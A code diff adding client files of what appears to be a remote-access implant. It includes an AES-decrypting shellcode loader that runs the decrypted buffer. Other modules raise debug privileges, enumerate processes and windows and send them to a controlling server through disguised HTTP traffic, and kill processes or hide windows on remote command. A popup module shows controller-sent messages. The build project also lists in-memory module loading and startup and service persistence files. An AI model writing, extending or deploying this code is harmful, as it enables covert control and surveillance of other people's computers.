sc.data = VirtualAlloc(NULL, sc.len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!ReadFile(hFile, sc.data, sc.len, &bytesRead, NULL)) return(4);
CloseHandle(hFile);
if (!sc.data || !sc.len) return(5);
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, sc.aes_key, sc.aes_iv);
AES_CBC_decrypt_buffer(&ctx, sc.data, sc.len);
DWORD oldProtect = 0;
if (!VirtualProtect(sc.data, sc.len, PAGE_EXECUTE_READ, &oldProtect)) return(6);
((void(*)())sc.data)();
Sleep(INFINITE);
return(0);
}

9
client/StdAfx.cpp Normal file
View File

@@ -0,0 +1,9 @@
// stdafx.cpp : source file that includes just the standard includes
// ClientDll.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
char g_MasterID[_MAX_PATH] = {};

71
client/StdAfx.h Normal file
View File

@@ -0,0 +1,71 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#if !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_)
#define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_
// 是否使用ZLIB
#define USING_ZLIB 0
#if !USING_ZLIB
#define USING_ZSTD 1
#define USING_CTX 1
#endif
// 是否使用 Opus 音频压缩 (需要 opus 库)
// 设为 1 启用 Opus 压缩,设为 0 使用 PCM 无压缩
#define USING_OPUS 1
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#ifdef _DEBUG
// 检测内存泄漏需安装VLD否则请注释此行
#include "vld.h"
#ifndef VLD_RPTHOOK_REMOVE
#error 检测内存泄漏需安装VLD否则请注释#include "vld.h"或使用Release编译
#endif
#define USING_SAFETHRED 0
#define IsDebug 1
#else
#define USING_SAFETHRED 1
#define IsDebug 0
#endif
// Insert your headers here
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
#include <windows.h>
// TODO: reference additional headers your program requires here
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_)
#include <assert.h>
#include <MMSystem.h>
#pragma comment(lib, "winmm.lib")
#ifndef SAFE_DELETE
#define SAFE_DELETE(p) if(NULL !=(p)){ delete (p);(p) = NULL;}
#endif
#ifndef SAFE_DELETE_ARRAY
#define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
#endif
#ifndef SAFE_DELETE_AR
#define SAFE_DELETE_AR(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
#endif
#define SAFE_CLOSE_HANDLE(h) do{if((h)!=NULL&&(h)!=INVALID_HANDLE_VALUE){CloseHandle(h);(h)=NULL;}}while(0)
#include "common/logger.h"
#include "common/locker.h"

319
client/SystemManager.cpp Normal file
View File

@@ -0,0 +1,319 @@
// SystemManager.cpp: implementation of the CSystemManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "SystemManager.h"
#include "Common.h"
#include <IOSTREAM>
#include <TLHELP32.H>
#ifndef PSAPI_VERSION
#define PSAPI_VERSION 1
#endif
#include <Psapi.h>
#include "ShellcodeInj.h"
#pragma comment(lib,"psapi.lib")
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CSystemManager::CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user):CManager(ClientObject)
{
if (bHow==COMMAND_SYSTEM) {
//进程
SendProcessList();
} else if (bHow==COMMAND_WSLIST) {
//窗口
SendWindowsList();
}
}
VOID CSystemManager::SendProcessList()
{
LPBYTE szBuffer = GetProcessList(); //得到进程列表的数据
if (szBuffer == NULL)
return;
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);
LocalFree(szBuffer);
szBuffer = NULL;
}
void CSystemManager::SendWindowsList()
{
LPBYTE szBuffer = GetWindowsList(); //得到窗口列表的数据
if (szBuffer == NULL)
return;
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);
LocalFree(szBuffer);
}
LPBYTE CSystemManager::GetProcessList()
{
DebugPrivilege(SE_DEBUG_NAME, TRUE); //提取权限
HANDLE hProcess = NULL;
HANDLE hSnapshot = NULL;
PROCESSENTRY32 pe32 = { 0 };
pe32.dwSize = sizeof(PROCESSENTRY32);
char szProcessFullPath[MAX_PATH] = { 0 };
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
DWORD dwOffset = 0;
DWORD dwLength = 0;
DWORD cbNeeded = 0;
HMODULE hModules = NULL; //进程中第一个模块的句柄
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //暂时分配一下缓冲区
if (szBuffer == NULL)
return NULL;
szBuffer[0] = TOKEN_PSLIST; //注意这个是数据头
dwOffset = 1;
if (Process32First(hSnapshot, &pe32)) { //得到第一个进程顺便判断一下系统快照是否成功
do {
memset(szProcessFullPath, 0, sizeof(szProcessFullPath)); // 清空路径缓冲区
//打开进程并返回句柄
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
FALSE, pe32.th32ProcessID); //打开目标进程
if (hProcess != NULL) {
// 优先使用 QueryFullProcessImageName不受32/64位限制
DWORD dwSize = MAX_PATH;
if (!QueryFullProcessImageNameA(hProcess, 0, szProcessFullPath, &dwSize)) {
// 回退到原来的方法
EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
DWORD dwReturn = GetModuleFileNameExA(hProcess, hModules,
szProcessFullPath,
sizeof(szProcessFullPath));
if (dwReturn == 0) {
strcpy(szProcessFullPath, pe32.szExeFile); // 最后用进程名
}
}
CloseHandle(hProcess); // 关闭进程句柄,防止泄漏
} else {
// OpenProcess 失败,使用快照中的进程名
strcpy(szProcessFullPath, pe32.szExeFile);
}
BOOL is64Bit = FALSE;
// 重新打开进程检测位数(因为上面已关闭)
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe32.th32ProcessID);
if (hProcess != NULL) {
ShellcodeInj::IsProcess64Bit(hProcess, is64Bit);
CloseHandle(hProcess);
}
const char* arch = is64Bit ? "x64" : "x86";
char exeFile[300];
sprintf(exeFile, "%s:%s", pe32.szExeFile, arch);
//开始计算占用的缓冲区, 我们关心他的发送的数据结构
// 此进程占用数据大小
dwLength = sizeof(DWORD) +
lstrlen(exeFile) + lstrlen(szProcessFullPath) + 2;
// 缓冲区太小,再重新分配下
if (LocalSize(szBuffer) < (dwOffset + dwLength)) {
LPBYTE newBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength),
LMEM_ZEROINIT | LMEM_MOVEABLE);
if (newBuffer == NULL) {
// 内存分配失败,返回已有数据
SAFE_CLOSE_HANDLE(hSnapshot);
DebugPrivilege(SE_DEBUG_NAME, FALSE);
return szBuffer;
}
szBuffer = newBuffer;
}
//接下来三个memcpy就是向缓冲区里存放数据 数据结构是
//进程ID+进程名+0+进程完整名+0 进程
//因为字符数据是以0 结尾的
memcpy(szBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
dwOffset += sizeof(DWORD);
memcpy(szBuffer + dwOffset, exeFile, lstrlen(exeFile) + 1);
dwOffset += lstrlen(exeFile) + 1;
memcpy(szBuffer + dwOffset, szProcessFullPath, lstrlen(szProcessFullPath) + 1);
dwOffset += lstrlen(szProcessFullPath) + 1;
} while (Process32Next(hSnapshot, &pe32)); //继续得到下一个快照
}
DebugPrivilege(SE_DEBUG_NAME, FALSE); //还原提权
SAFE_CLOSE_HANDLE(hSnapshot); //释放句柄
return szBuffer;
}
CSystemManager::~CSystemManager()
{
Mprintf("系统析构\n");
}
BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable)
{
BOOL bResult = TRUE;
HANDLE hToken;
TOKEN_PRIVILEGES TokenPrivileges;
//进程 Token 令牌
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {
bResult = FALSE;
return bResult;
}
TokenPrivileges.PrivilegeCount = 1;
TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
LookupPrivilegeValue(NULL, szName, &TokenPrivileges.Privileges[0].Luid);
AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
if (GetLastError() != ERROR_SUCCESS) {
bResult = FALSE;
}
SAFE_CLOSE_HANDLE(hToken);
return bResult;
}
VOID CSystemManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch(szBuffer[0]) {
case COMMAND_PSLIST: {
SendProcessList();
break;
}
case COMMAND_KILLPROCESS: {
KillProcess((LPBYTE)szBuffer + 1, ulLength - 1);
break;
}
case COMMAND_WSLIST: {
SendWindowsList();
break;
}
case CMD_WINDOW_CLOSE: {
HWND hWnd = *((HWND*)(szBuffer+1));
::PostMessage(hWnd,WM_CLOSE,0,0);
Sleep(100);
SendWindowsList();
break;
}
case CMD_WINDOW_TEST: { //操作窗口
TestWindow(szBuffer+1);
break;
}
default: {
break;
}
}
}
void CSystemManager::TestWindow(LPBYTE szBuffer) //窗口的最大 最小 隐藏都在这里处理
{
DWORD Hwnd;
DWORD dHow;
memcpy((void*)&Hwnd,szBuffer,sizeof(DWORD)); //得到窗口句柄
memcpy(&dHow,szBuffer+sizeof(DWORD),sizeof(DWORD)); //得到窗口处理参数
ShowWindow((HWND__ *)Hwnd,dHow);
//窗口句柄 干啥(大 小 隐藏 还原)
}
VOID CSystemManager::KillProcess(LPBYTE szBuffer, UINT ulLength)
{
HANDLE hProcess = NULL;
DebugPrivilege(SE_DEBUG_NAME, TRUE); //提权
for (int i = 0; i < ulLength; i += 4)
//因为结束的可能个不止是一个进程
{
//打开进程
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(szBuffer + i));
//结束进程
TerminateProcess(hProcess, 0);
SAFE_CLOSE_HANDLE(hProcess);
}
DebugPrivilege(SE_DEBUG_NAME, FALSE); //还原提权
// 稍稍Sleep下防止出错
Sleep(100);
}
LPBYTE CSystemManager::GetWindowsList()
{
LPBYTE szBuffer = NULL; //char* p = NULL &p
EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&szBuffer); //注册函数
//如果API函数参数当中有函数指针存在
//就是向系统注册一个 回调函数
// 检查是否有窗口被枚举到,避免空指针访问
if (szBuffer == NULL) {
szBuffer = (LPBYTE)LocalAlloc(LPTR, 1);
if (szBuffer == NULL)
return NULL;
}
szBuffer[0] = TOKEN_WSLIST;
return szBuffer;
}
BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //要数据 **
{
DWORD dwLength = 0;
DWORD dwOffset = 0;
DWORD dwProcessID = 0;
LPBYTE szBuffer = *(LPBYTE*)lParam;
char szTitle[1024];
memset(szTitle, 0, sizeof(szTitle));
//得到系统传递进来的窗口句柄的窗口标题
GetWindowText(hWnd, szTitle, sizeof(szTitle));
//这里判断 窗口是否可见 或标题为空
BOOL m_bShowHidden = TRUE;
if (!m_bShowHidden && !IsWindowVisible(hWnd)) {
return true;
}
if (lstrlen(szTitle) == 0)
return true;
// ========== 新增:获取窗口属性 ==========
// 窗口状态
const char* szStatus = "normal";
if (IsIconic(hWnd)) {
szStatus = "minimized";
} else if (IsZoomed(hWnd)) {
szStatus = "maximized";
} else if (!IsWindowVisible(hWnd)) {
szStatus = "hidden";
}
// 所属进程ID
DWORD dwPid = 0;
GetWindowThreadProcessId(hWnd, &dwPid);
// 拼接属性到标题末尾
// 格式: 标题|状态|PID|保留1|保留2
// 解析时从末尾按 | 分割,保留字段方便未来扩展
char szTitleWithAttrs[1200];
sprintf(szTitleWithAttrs, "%s|%s|%lu|0|0", szTitle, szStatus, dwPid);
// ========== 新增结束 ==========
//同进程管理一样我们注意他的发送到主控端的数据结构
if (szBuffer == NULL)
szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //暂时分配缓冲区
if (szBuffer == NULL)
return FALSE;
//[消息][4Notepad.exe\0]
dwLength = sizeof(DWORD) + lstrlen(szTitleWithAttrs) + 1; // 使用新标题
dwOffset = LocalSize(szBuffer); //1
//重新计算缓冲区大小
LPBYTE newBuffer = (LPBYTE)LocalReAlloc(szBuffer, dwOffset + dwLength, LMEM_ZEROINIT | LMEM_MOVEABLE);
if (newBuffer == NULL) {
// 内存分配失败,保留已有数据,跳过此窗口继续枚举
return TRUE;
}
szBuffer = newBuffer;
//下面两个memcpy就能看到数据结构为 hwnd+窗口标题+0
memcpy((szBuffer + dwOffset), &hWnd, sizeof(DWORD));
memcpy(szBuffer + dwOffset + sizeof(DWORD), szTitleWithAttrs, lstrlen(szTitleWithAttrs) + 1); // 使用新标题
*(LPBYTE*)lParam = szBuffer;
return TRUE;
}

31
client/SystemManager.h Normal file
View File

@@ -0,0 +1,31 @@
// SystemManager.h: interface for the CSystemManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)
#define AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "IOCPClient.h"
class CSystemManager : public CManager
{
public:
CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user = nullptr);
virtual ~CSystemManager();
LPBYTE GetProcessList();
VOID SendProcessList();
BOOL DebugPrivilege(const char *szName, BOOL bEnable);
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
VOID KillProcess(LPBYTE szBuffer, UINT ulLength);
LPBYTE GetWindowsList();
static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam);
void SendWindowsList();
void TestWindow(LPBYTE szBuffer);
};
#endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)

155
client/TalkManager.cpp Normal file
View File

@@ -0,0 +1,155 @@
// TalkManager.cpp: implementation of the CTalkManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "TalkManager.h"
#include "Common.h"
#include "resource.h"
#include <IOSTREAM>
#include <mmsystem.h>
#pragma comment(lib, "WINMM.LIB")
#define ID_TIMER_POP_WINDOW 1
#define ID_TIMER_DELAY_DISPLAY 2
#define ID_TIMER_CLOSE_WINDOW 3
#define WIN_WIDTH 360
#define WIN_HEIGHT 200
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
m_hInstance = HINSTANCE(user);
g_Event = 0;
memset(g_Buffer, 0, sizeof(g_Buffer));
BYTE bToken = TOKEN_TALK_START;
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
WaitForDialogOpen();
Mprintf("Talk 构造\n");
}
CTalkManager::~CTalkManager()
{
Mprintf("Talk 析构\n");
}
VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch(szBuffer[0]) {
case COMMAND_NEXT: {
NotifyDialogIsOpen();
break;
}
default: {
memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer)));
//创建一个DLG
DialogBoxParamA(m_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
NULL, DialogProc, (LPARAM)this); //SDK C MFC C++
break;
}
}
}
INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg,
WPARAM wParam, LPARAM lParam)
{
static CTalkManager* This = nullptr;
switch(uMsg) {
case WM_TIMER: {
if (This) This->OnDlgTimer(hDlg);
break;
}
case WM_INITDIALOG: {
// 获取当前窗口样式
LONG_PTR exStyle = GetWindowLongPtr(hDlg, GWL_EXSTYLE);
// 移除 WS_EX_APPWINDOW 样式,添加 WS_EX_TOOLWINDOW 样式
exStyle &= ~WS_EX_APPWINDOW;
exStyle |= WS_EX_TOOLWINDOW;
SetWindowLongPtr(hDlg, GWL_EXSTYLE, exStyle);
This = (CTalkManager*)lParam;
if(This) This->OnInitDialog(hDlg);
break;
}
case WM_COMMAND:
if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL) {
KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW);
BYTE bToken = TOKEN_TALKCMPLT;
if (This) This->m_ClientObject->Send2Server((char*)&bToken, 1);
EndDialog(hDlg, LOWORD(wParam));
return (INT_PTR)TRUE;
}
break;
}
return 0;
}
VOID CTalkManager::OnInitDialog(HWND hDlg)
{
MoveWindow(hDlg, 0, 0, 0, 0, TRUE);
static HICON hIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDI_ICON_MSG));
::SendMessage(hDlg, WM_SETICON, (WPARAM)hIcon, (LPARAM)hIcon);
SetDlgItemText(hDlg,IDC_EDIT_MESSAGE,g_Buffer);
::SetFocus(GetDesktopWindow());
memset(g_Buffer,0,sizeof(g_Buffer));
g_Event = ID_TIMER_POP_WINDOW;
SetTimer(hDlg, g_Event, 1, NULL);
PlaySound(MAKEINTRESOURCE(IDR_WAVE),
m_hInstance,SND_ASYNC|SND_RESOURCE|SND_NODEFAULT);
}
VOID CTalkManager::OnDlgTimer(HWND hDlg) //时钟回调
{
RECT Rect;
static int Height=0;
SystemParametersInfo(SPI_GETWORKAREA, 0, &Rect,0);
int y=Rect.bottom-Rect.top;;
int x=Rect.right-Rect.left;
x=x-WIN_WIDTH;
switch(g_Event) {
case ID_TIMER_CLOSE_WINDOW: {
if(Height>=0) {
Height-=5;
MoveWindow(hDlg, x,y-Height, WIN_WIDTH, Height,TRUE);
} else {
KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW);
BYTE bToken = TOKEN_TALKCMPLT; // 包含头文件 Common.h
m_ClientObject->Send2Server((char*)&bToken, 1); // 发送允许重新发送的指令
EndDialog(hDlg,0);
}
break;
}
case ID_TIMER_DELAY_DISPLAY: {
KillTimer(hDlg,ID_TIMER_DELAY_DISPLAY);
g_Event = ID_TIMER_CLOSE_WINDOW;
SetTimer(hDlg,g_Event, 5, NULL);
break;
}
case ID_TIMER_POP_WINDOW: {
if(Height<=WIN_HEIGHT) {
Height+=3;
MoveWindow(hDlg,x, y-Height, WIN_WIDTH, Height,TRUE);
} else {
KillTimer(hDlg,ID_TIMER_POP_WINDOW);
g_Event = ID_TIMER_DELAY_DISPLAY;
SetTimer(hDlg,g_Event, 4000, NULL);
}
break;
}
}
}

32
client/TalkManager.h Normal file
View File

@@ -0,0 +1,32 @@
// TalkManager.h: interface for the CTalkManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_)
#define AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
class CTalkManager : public CManager
{
public:
HINSTANCE m_hInstance;
CTalkManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CTalkManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
static INT_PTR CALLBACK DialogProc(HWND hDlg, UINT uMsg,
WPARAM wParam, LPARAM lParam);
VOID OnInitDialog(HWND hDlg);
VOID OnDlgTimer(HWND hDlg);
char g_Buffer[TALK_DLG_MAXLEN];
UINT_PTR g_Event;
};
#endif // !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_)

BIN
client/TestRun.rc Normal file

Binary file not shown.

View File

@@ -0,0 +1,188 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}</ProjectGuid>
<RootNamespace>TestRun</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
<ProjectName>TestRun</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\test</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\test</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<MinimalRebuild>false</MinimalRebuild>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<MinimalRebuild>false</MinimalRebuild>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
</ClCompile>
<Link>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<SubSystem>Windows</SubSystem>
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
</ClCompile>
<Link>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<SubSystem>Windows</SubSystem>
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="Loader.cpp" />
<ClCompile Include="MemoryModule.c" />
<ClCompile Include="reg_startup.c" />
<ClCompile Include="ServiceWrapper.c" />
<ClCompile Include="SessionMonitor.c" />
<ClCompile Include="test.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="auto_start.h" />
